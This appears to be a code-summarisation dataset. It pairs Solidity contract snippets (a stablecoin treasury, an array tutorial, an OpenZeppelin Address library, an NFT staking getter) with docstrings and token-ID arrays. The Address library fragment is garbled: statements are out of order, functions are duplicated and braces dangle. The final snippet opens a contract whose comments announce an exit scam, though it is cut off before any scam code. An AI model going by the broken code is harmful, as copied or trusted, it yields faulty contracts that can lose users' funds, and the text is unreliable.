seigniorageSaved to it's balance seigniorageSaved = IERC20(juice).balanceOf(address(this)); initialized = true; operator = msg.sender; emit Initialized(msg.sender, block.number); } function setOperator(address _operator) external onlyOperator { operator = _operator; } function setBoardroom(address _boardroom) external onlyOperator { boardroom = _boardroom; } function setJuiceOracle(address _juiceOracle) external onlyOperator { juiceOracle = _juiceOracle; } function setJuicePriceCeiling(uint256 _juicePriceCeiling) external onlyOperator { require(_juicePriceCeiling >= juicePriceOne && _juicePriceCeiling <= juicePriceOne.mul(120).div(100), "out of range"); // [$1.0, $1.2] juicePriceCeiling = _juicePriceCeiling; } function setMaxSupplyExpansionPercents(uint256 _maxSupplyExpansionPercent) external onlyOperator { require(_maxSupplyExpansionPercent >= 10 && _maxSupplyExpansionPercent <= 1000, "_maxSupplyExpansionPercent: out of range"); // [0.1%, 10%] maxSupplyExpansionPercent = _maxSupplyExpansionPercent; } function setSupplyTiersEntry(uint8 _index, uint256 _value) external onlyOperator returns (bool) { require(_index >= 0, "Index has to be higher than 0"); require(_index < 9, "Index has to be lower than count of tiers"); if (_index > 0) { require(_value > supplyTiers[_index - 1]); } if (_index < 8) { require(_value < supplyTiers[_index + 1]); } supplyTiers[_index] = _value; return true; } function setMaxExpansionTiersEntry(uint8 _index, uint256 _value) external onlyOperator returns (bool) { require(_index >= 0, "Index has to be higher than 0"); require(_index < 9, "Index has to be lower than count of tiers"); require(_value >= 10 && _value <= 1000, "_value: out of range"); // [0.1%, 10%] maxExpansionTiers[_index] = _value; return true; } function setBondDepletionFloorPercent(uint256 _bondDepletionFloorPercent) external onlyOperator { require(_bondDepletionFloorPercent >= 500 && _bondDepletionFloorPercent <= 10000, "out of range"); // [5%, 100%] bondDepletionFloorPercent = _bondDepletionFloorPercent; } function setMaxSupplyContractionPercent(uint256 _maxSupplyContractionPercent) external onlyOperator { require(_maxSupplyContractionPercent >= 100 && _maxSupplyContractionPercent <= 1500, "out of range"); // [0.1%, 15%] maxSupplyContractionPercent = _maxSupplyContractionPercent; } function setMaxDebtRatioPercent(uint256 _maxDebtRatioPercent) external onlyOperator { require(_maxDebtRatioPercent >= 1000 && _maxDebtRatioPercent <= 10000, "out of range"); // [10%, 100%] maxDebtRatioPercent = _maxDebtRatioPercent; } function setBootstrap(uint256 _bootstrapEpochs, uint256 _bootstrapSupplyExpansionPercent) external onlyOperator { require(_bootstrapEpochs <= 120, "_bootstrapEpochs: out of range"); // <= 1 month require(_bootstrapSupplyExpansionPercent >= 100 && _bootstrapSupplyExpansionPercent <= 1000, "_bootstrapSupplyExpansionPercent: out of range"); // [1%, 10%] bootstrapEpochs = _bootstrapEpochs; bootstrapSupplyExpansionPercent = _bootstrapSupplyExpansionPercent; } function setExtraFunds( address _daoFund, uint256 _daoFundSharedPercent, address _devFund, uint256 _devFundSharedPercent ) external onlyOperator { require(_daoFund != address(0), "zero"); require(_daoFundSharedPercent <= 2500, "out of range"); // <= 25% require(_devFund != address(0), "zero"); require(_devFundSharedPercent <= 500, "out of range"); // <= 5% daoFund = _daoFund; daoFundSharedPercent = _daoFundSharedPercent; devFund = _devFund; devFundSharedPercent = _devFundSharedPercent; } function setMaxDiscountRate(uint256 _maxDiscountRate) external onlyOperator { maxDiscountRate = _maxDiscountRate; } function setMaxPremiumRate(uint256 _maxPremiumRate) external onlyOperator { maxPremiumRate = _maxPremiumRate; } function setDiscountPercent(uint256 _discountPercent) external onlyOperator { require(_discountPercent <= 20000, "_discountPercent is over 200%"); discountPercent = _discountPercent; } function setPremiumThreshold(uint256 _premiumThreshold) external onlyOperator { require(_premiumThreshold >= juicePriceCeiling, "_premiumThreshold exceeds juicePriceCeiling"); require(_premiumThreshold <= 150, "_premiumThreshold is higher than 1.5"); premiumThreshold = _premiumThreshold; } function setPremiumPercent(uint256 _premiumPercent) external onlyOperator { require(_premiumPercent <= 20000, "_premiumPercent is over 200%"); premiumPercent = _premiumPercent; } function setMintingFactorForPayingDebt(uint256 _mintingFactorForPayingDebt) external onlyOperator { require(_mintingFactorForPayingDebt >= 10000 && _mintingFactorForPayingDebt <= 20000, "_mintingFactorForPayingDebt: out of range"); // [100%, 200%] mintingFactorForPayingDebt = _mintingFactorForPayingDebt; } /* ========== MUTABLE FUNCTIONS ========== */ function _updateJuicePrice() internal { try IOracle(juiceOracle).update() {} catch {} } function getJuiceCirculatingSupply() public view returns (uint256) { IERC20 juiceErc20 = IERC20(juice); uint256 totalSupply = juiceErc20.totalSupply(); uint256 balanceExcluded = 0; for (uint8 entryId = 0; entryId < excludedFromTotalSupply.length; ++entryId) { balanceExcluded = balanceExcluded.add(juiceErc20.balanceOf(excludedFromTotalSupply[entryId])); } return totalSupply.sub(balanceExcluded); } function buyBonds(uint256 _juiceAmount, uint256 targetPrice) external onlyOneBlock checkCondition checkOperator { require(_juiceAmount > 0, "Treasury: cannot purchase bonds with zero amount"); uint256 juicePrice = getJuicePrice(); require(juicePrice == targetPrice, "Treasury: JUICE price moved"); require( juicePrice < juicePriceOne, // price < $1 "Treasury: juicePrice not eligible for bond purchase" ); require(_juiceAmount <= epochSupplyContractionLeft, "Treasury: not enough bond left to purchase"); uint256 _rate = getBondDiscountRate(); require(_rate > 0, "Treasury: invalid bond rate"); uint256 _bondAmount = _juiceAmount.mul(_rate).div(1e18); uint256 juiceSupply = getJuiceCirculatingSupply(); uint256 newBondSupply = IERC20(gbond).totalSupply().add(_bondAmount); require(newBondSupply <= juiceSupply.mul(maxDebtRatioPercent).div(10000), "over max debt ratio"); IBasisAsset(juice).burnFrom(msg.sender, _juiceAmount); IBasisAsset(jbond).mint(msg.sender, _bondAmount); epochSupplyContractionLeft = epochSupplyContractionLeft.sub(_juiceAmount); _updateJuicePrice(); emit BoughtBonds(msg.sender, _juiceAmount, _bondAmount); } function redeemBonds(uint256 _bondAmount, uint256 targetPrice) external onlyOneBlock checkCondition checkOperator { require(_bondAmount > 0, "Treasury: cannot redeem bonds with zero amount"); uint256 juicePrice = getJuicePrice(); require(juicePrice == targetPrice, "Treasury: JUICE price moved"); require( juicePrice > juicePriceCeiling, // price > $1.01 "Treasury: juicePrice not eligible for bond purchase" ); uint256 _rate = getBondPremiumRate(); require(_rate > 0, "Treasury: invalid bond rate"); uint256 _juiceAmount = _bondAmount.mul(_rate).div(1e18); require(IERC20(juice).balanceOf(address(this)) >= _juiceAmount, "Treasury: treasury has no more budget"); seigniorageSaved = seigniorageSaved.sub(Math.min(seigniorageSaved, _juiceAmount)); IBasisAsset(jbond).burnFrom(msg.sender, _bondAmount); IERC20(juice).safeTransfer(msg.sender, _juiceAmount); _updateJuicePrice(); emit RedeemedBonds(msg.sender, _juiceAmount, _bondAmount); } function _sendToBoardroom(uint256 _amount) internal { IBasisAsset(juice).mint(address(this), _amount); uint256 _daoFundSharedAmount = 0; if (daoFundSharedPercent > 0) { _daoFundSharedAmount = _amount.mul(daoFundSharedPercent).div(10000); IERC20(juice).transfer(daoFund, _daoFundSharedAmount); emit DaoFundFunded(now, _daoFundSharedAmount); } uint256 _devFundSharedAmount = 0; if (devFundSharedPercent > 0) { _devFundSharedAmount = _amount.mul(devFundSharedPercent).div(10000); IERC20(juice).transfer(devFund, _devFundSharedAmount); emit DevFundFunded(now, _devFundSharedAmount); } _amount = _amount.sub(_daoFundSharedAmount).sub(_devFundSharedAmount); IERC20(juice).safeApprove(boardroom, 0); IERC20(juice).safeApprove(boardroom, _amount); IBoardroom(boardroom).allocateSeigniorage(_amount); emit BoardroomFunded(now, _amount); } function _calculateMaxSupplyExpansionPercent(uint256 _juiceSupply) internal returns (uint256) { for (uint8 tierId = 8; tierId >= 0; --tierId) { if (_juiceSupply >= supplyTiers[tierId]) { maxSupplyExpansionPercent = maxExpansionTiers[tierId]; break; } } return maxSupplyExpansionPercent; } function allocateSeigniorage() external onlyOneBlock checkCondition checkEpoch checkOperator { _updateJuicePrice(); previousEpochJuicePrice = getJuicePrice(); uint256 juiceSupply = getJuiceCirculatingSupply().sub(seigniorageSaved); if (epoch < bootstrapEpochs) { // 28 first epochs with 4.5% expansion _sendToBoardroom(juiceSupply.mul(bootstrapSupplyExpansionPercent).div(10000)); } else { if (previousEpochJuicePrice > juicePriceCeiling) { // Expansion ($JUICE Price > 1 $MIM): there is some seigniorage to be allocated uint256 bondSupply = IERC20(jbond).totalSupply(); uint256 _percentage = previousEpochJuicePrice.sub(juicePriceOne); uint256 _savedForBond; uint256 _savedForBoardroom; uint256 _mse = _calculateMaxSupplyExpansionPercent(juiceSupply).mul(1e14); if (_percentage > _mse) { _percentage = _mse; } if (seigniorageSaved >= bondSupply.mul(bondDepletionFloorPercent).div(10000)) { // saved enough to pay debt, mint as usual rate _savedForBoardroom = juiceSupply.mul(_percentage).div(1e18); } else { // have not saved enough to pay debt, mint more uint256 _seigniorage = juiceSupply.mul(_percentage).div(1e18); _savedForBoardroom = _seigniorage.mul(seigniorageExpansionFloorPercent).div(10000); _savedForBond = _seigniorage.sub(_savedForBoardroom); if (mintingFactorForPayingDebt > 0) { _savedForBond = _savedForBond.mul(mintingFactorForPayingDebt).div(10000); } } if (_savedForBoardroom > 0) { _sendToBoardroom(_savedForBoardroom); } if (_savedForBond > 0) { seigniorageSaved = seigniorageSaved.add(_savedForBond); IBasisAsset(juice).mint(address(this), _savedForBond); emit TreasuryFunded(now, _savedForBond); } } } } function governanceRecoverUnsupported( IERC20 _token, uint256 _amount, address _to ) external onlyOperator { // do not allow to drain core tokens require(address(_token) != address(juice), "juice"); require(address(_token) != address(jbond), "bond"); require(address(_token) != address(juicer), "share"); _token.safeTransfer(_to, _amount); } function boardroomSetOperator(address _operator) external onlyOperator { IBoardroom(boardroom).setOperator(_operator); } function boardroomSetLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external onlyOperator { IBoardroom(boardroom).setLockUp(_withdrawLockupEpochs, _rewardLockupEpochs); } function boardroomAllocateSeigniorage(uint256 amount) external onlyOperator { IBoardroom(boardroom).allocateSeigniorage(amount); } function boardroomGovernanceRecoverUnsupported( address _token, uint256 _amount, address _to ) external onlyOperator { IBoardroom(boardroom).governanceRecoverUnsupported(_token, _amount, _to); } }
This is to allow a PEG of 1 JUICE per MIM
juicePriceOne = 10**18;
12,982,602
[ 1, 2503, 353, 358, 1699, 279, 16628, 43, 434, 404, 804, 5370, 1441, 1534, 490, 3445, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 31259, 1812, 5147, 3335, 273, 1728, 636, 2643, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "hardhat/console.sol"; // public private Variable Scope contract String { // 1. Dynamic arrays // 2. Static arrays // 3. Array arguments and return arrays from function //1. Dynamic Array uint[] public myArray; //Create, Read, Update, Delete // This is dynamic size array here we are not specifing the array size function storageArrays() public returns ( uint[] memory ) { myArray.push(2); //add value in array myArray.push(3); myArray[0] = 20; // Updating array delete myArray[1]; // delete will not delete the value of given index return myArray; } //2. Static Array function staticArray() public pure returns (uint[] memory) { uint[] memory statArray = new uint[](10); //Create, Read, Update, Delete // statArray.push(10)// we can't append value using push function in static type array statArray[0] = 20; // add value in array statArray[1]= 30; statArray[0] = 40; //update array delete statArray[1]; return statArray; } function getIndexValue(uint _index) public view returns( uint value){ // //get value of given index from array value = myArray[_index]; return value; } }
Create, Read, Update, Delete
uint[] public myArray;
12,772,872
[ 1, 1684, 16, 2720, 16, 2315, 16, 2504, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 8526, 1071, 3399, 1076, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0xAC08DaD5241D616D6eCe72AbcEa7230D964E968c/sources/NFT_flat.sol
defining the signature of a child-implemented method this gets called inside teh above-defiend mintFor File: @openzeppelin/contracts/utils/Address.sol* @dev Collection of functions related to the address type/
library Address { function _mintFor( address user, uint256 id, bytes memory blueprint ) internal virtual; } pragma solidity ^0.8.0; function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function _mintFor( address user, uint256 id, bytes memory blueprint ) internal virtual; } pragma solidity ^0.8.0; function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); require(success, "Address: unable to send value, recipient may have reverted"); } (bool success, ) = recipient.call{value: amount}(""); function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); return verifyCallResult(success, returndata, errorMessage); } (bool success, bytes memory returndata) = target.call{value: value}(data); function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } revert(errorMessage); } } } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } revert(errorMessage); } } } } else { function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } revert(errorMessage); } } } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } revert(errorMessage); } } } } else { }
8,169,495
[ 1, 5649, 310, 326, 3372, 434, 279, 1151, 17, 21099, 707, 333, 5571, 2566, 4832, 6489, 76, 5721, 17, 536, 77, 409, 312, 474, 1290, 1387, 30, 632, 3190, 94, 881, 84, 292, 267, 19, 16351, 87, 19, 5471, 19, 1887, 18, 18281, 225, 2200, 434, 4186, 3746, 358, 326, 1758, 618, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 5267, 288, 203, 565, 445, 389, 81, 474, 1290, 12, 203, 3639, 1758, 729, 16, 203, 3639, 2254, 5034, 612, 16, 203, 3639, 1731, 3778, 13712, 203, 565, 262, 2713, 5024, 31, 203, 97, 203, 203, 203, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 203, 565, 445, 353, 8924, 12, 2867, 2236, 13, 2713, 1476, 1135, 261, 6430, 13, 288, 203, 203, 3639, 2254, 5034, 963, 31, 203, 3639, 19931, 288, 203, 5411, 963, 519, 1110, 7000, 554, 12, 4631, 13, 203, 3639, 289, 203, 3639, 327, 963, 405, 374, 31, 203, 565, 289, 203, 203, 565, 445, 389, 81, 474, 1290, 12, 203, 3639, 1758, 729, 16, 203, 3639, 2254, 5034, 612, 16, 203, 3639, 1731, 3778, 13712, 203, 565, 262, 2713, 5024, 31, 203, 97, 203, 203, 203, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 28, 18, 20, 31, 203, 203, 565, 445, 353, 8924, 12, 2867, 2236, 13, 2713, 1476, 1135, 261, 6430, 13, 288, 203, 203, 3639, 2254, 5034, 963, 31, 203, 3639, 19931, 288, 203, 5411, 963, 519, 1110, 7000, 554, 12, 4631, 13, 203, 3639, 289, 203, 3639, 327, 963, 405, 374, 31, 203, 565, 289, 203, 203, 565, 445, 1366, 620, 12, 2867, 8843, 429, 8027, 16, 2254, 5034, 3844, 13, 2713, 288, 203, 3639, 2583, 12, 2867, 12, 2211, 2934, 12296, 1545, 3844, 16, 315, 1887, 30, 2763, 11339, 11013, 8863, 203, 203, 3639, 2583, 12, 4768, 16, 315, 1887, 30, 13496, 358, 1366, 460, 16, 2 ]
./partial_match/1/0xe7bC79960EF0B7c6b21cec91476a42678C90a37f/sources/NFTCustomStaking.sol
* @dev Returns custom NFT settings/
function getNftTokenMap(uint256 tokenId) external view returns (bool, bool, uint256, uint256, uint256) { return ( nftTokenMap[tokenId].hasValue, nftTokenMap[tokenId].active, nftTokenMap[tokenId].maxAmount, nftTokenMap[tokenId].strengthWeight, nftTokenMap[tokenId].strengthDecimals ); }
3,972,361
[ 1, 1356, 1679, 423, 4464, 1947, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11069, 1222, 1345, 863, 12, 11890, 5034, 1147, 548, 13, 3903, 1476, 1135, 261, 6430, 16, 1426, 16, 2254, 5034, 16, 2254, 5034, 16, 2254, 5034, 13, 288, 203, 3639, 327, 261, 203, 5411, 290, 1222, 1345, 863, 63, 2316, 548, 8009, 5332, 620, 16, 203, 5411, 290, 1222, 1345, 863, 63, 2316, 548, 8009, 3535, 16, 203, 5411, 290, 1222, 1345, 863, 63, 2316, 548, 8009, 1896, 6275, 16, 203, 5411, 290, 1222, 1345, 863, 63, 2316, 548, 8009, 334, 13038, 6544, 16, 203, 5411, 290, 1222, 1345, 863, 63, 2316, 548, 8009, 334, 13038, 31809, 203, 3639, 11272, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0xa1de36ede424207b476c78405122beb08ac48b89 //Contract name: ServiceStation //Balance: 0.0127832 Ether //Verification Date: 3/27/2018 //Transacion Count: 32 // CODE STARTS HERE pragma solidity ^0.4.21; // Fucking kek that you read the source code // Warning this contract has an exit scam. contract GameState{ // Vote timer / Buy in round / Lowest gas round / Close time. uint256[3] RoundTimes = [(5 minutes), (20 minutes), (10 minutes)]; // 5 20 10 uint256[3] NextRound = [1,2,0]; // Round flow order. // Block external calls altering the game mode. // modifier BlockExtern(){ // require(msg.sender==caller); // _; // } uint256 public CurrentGame = 0; /// bool StartedGame = false; uint256 public Timestamp = 0; function Timer() internal view returns (bool){ if (block.timestamp < Timestamp){ // StartedGame = false; return (true); } return false; } // FixTimer is only for immediate start rounds // takes last timer and adds stuff to that function Start() internal { Timestamp = block.timestamp + RoundTimes[CurrentGame]; // StartedGame=true; } function Next(bool StartNow) internal { uint256 NextRoundBuffer = NextRound[CurrentGame]; if (StartNow){ //Start(); // StartedGame = true; Timestamp = Timestamp + RoundTimes[NextRoundBuffer]; } else{ // StartedGame = false; } CurrentGame = NextRoundBuffer; } // function GameState() public { // caller = msg.sender; // } // returns bit number n from uint. //function GetByte(uint256 bt, uint256 n) public returns (uint256){ // return ((bt >> n) & (1)); // } } contract ServiceStation is GameState{ uint256 public Votes = 0; uint256 public constant VotesNecessary = 6; // THIS CANNOT BE 